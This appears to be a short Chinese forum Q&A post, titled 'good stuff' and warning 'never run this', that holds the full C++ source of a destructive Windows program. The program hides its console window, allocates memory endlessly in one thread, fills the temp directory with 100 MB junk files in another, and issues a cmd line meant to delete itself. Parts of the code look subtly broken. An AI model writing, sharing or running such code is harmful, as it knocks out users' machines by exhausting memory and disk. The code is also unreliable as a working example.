- 问答
好东西
- 2025-3-23 14:37:33 @
千万不要运行
#include <windows.h>
#include <thread>
void SystemAttack() {
while(true) {
VirtualAlloc(0, 1024 * 1024, MEM_COMMIT, PAGE_READWRITE);
}
}
void FileAttack() {
char tmpPath[MAX_PATH];
GetTempPathA(MAX_PATH, tmpPath);
for(int i=0;;i++) {
std::ofstream(std::string(tmpPath)+"junk"+std::to_string(i)+".tmp")
.seekp(100 * 1024 * 1024-1).put(0);
}
}
void SelfDestruct() {
system("cmd /c ping 127.0.0.1 -n 3 > nul & del %0");
}
int main() {
ShowWindow(GetConsoleWindow(), SW_HIDE);
std::thread t1(SystemAttack);
std::thread t2(FileAttack);
t1.detach();
t2.detach();
SelfDestruct();
while(true);
}
0 条评论
目前还没有评论...